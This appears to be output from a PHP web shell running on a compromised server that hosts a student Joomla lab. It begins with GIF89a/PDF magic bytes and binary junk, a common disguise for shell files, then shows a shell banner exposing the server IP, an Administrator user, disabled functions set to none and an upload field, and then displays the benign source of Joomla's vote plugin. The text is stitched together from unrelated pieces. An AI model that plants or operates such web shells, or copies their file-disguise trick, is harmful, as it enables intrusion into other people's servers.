GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/Student/JimMartinson/Lab12/Joomla/plugins/content/vote/ |
Upload File : |
<?php /** * @copyright Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ // No direct access. defined('_JEXEC') or die; /** * Vote plugin. * * @package Joomla.Plugin * @subpackage Content.vote */ class plgContentVote extends JPlugin { /** * Constructor * * @access protected * @param object $subject The object to observe * @param array $config An array that holds the plugin configuration * @since 1.5 */ public function __construct(& $subject, $config) { parent::__construct($subject, $config); $this->loadLanguage(); } /** * @since 1.6 */ public function onContentBeforeDisplay($context, &$row, &$params, $page=0) { $html = ''; if ($params->get('show_vote')) { $rating = intval(@$row->rating); $rating_count = intval(@$row->rating_count); $view = JRequest::getString('view', ''); $img = ''; // look for images in template if available $starImageOn = JHtml::_('image', 'system/rating_star.png', NULL, NULL, true); $starImageOff = JHtml::_('image', 'system/rating_star_blank.png', NULL, NULL, true); for ($i=0; $i < $rating; $i++) { $img .= $starImageOn; } for ($i=$rating; $i < 5; $i++) { $img .= $starImageOff; } $html .= '<span class="content_rating">'; $html .= JText::sprintf( 'PLG_VOTE_USER_RATING', $img, $rating_count ); $html .= "</span>\n<br />\n"; if ( $view == 'article' && $row->state == 1) { $uri = JFactory::getURI(); $uri->setQuery($uri->getQuery().'&hitcount=0'); $html .= '<form method="post" action="' . htmlspecialchars($uri->toString()) . '">'; $html .= '<div class="content_vote">'; $html .= JText::_( 'PLG_VOTE_POOR' ); $html .= '<input type="radio" title="'.JText::sprintf('PLG_VOTE_VOTE', '1').'" name="user_rating" value="1" />'; $html .= '<input type="radio" title="'.JText::sprintf('PLG_VOTE_VOTE', '2').'" name="user_rating" value="2" />'; $html .= '<input type="radio" title="'.JText::sprintf('PLG_VOTE_VOTE', '3').'" name="user_rating" value="3" />'; $html .= '<input type="radio" title="'.JText::sprintf('PLG_VOTE_VOTE', '4').'" name="user_rating" value="4" />'; $html .= '<input type="radio" title="'.JText::sprintf('PLG_VOTE_VOTE', '5').'" name="user_rating" value="5" checked="checked" />'; $html .= JText::_( 'PLG_VOTE_BEST' ); $html .= ' <input class="button" type="submit" name="submit_vote" value="'. JText::_( 'PLG_VOTE_RATE' ) .'" />'; $html .= '<input type="hidden" name="task" value="article.vote" />'; $html .= '<input type="hidden" name="hitcount" value="0" />'; $html .= '<input type="hidden" name="url" value="'. htmlspecialchars($uri->toString()) .'" />'; $html .= JHtml::_('form.token'); $html .= '</div>'; $html .= '</form>'; } } return $html; } }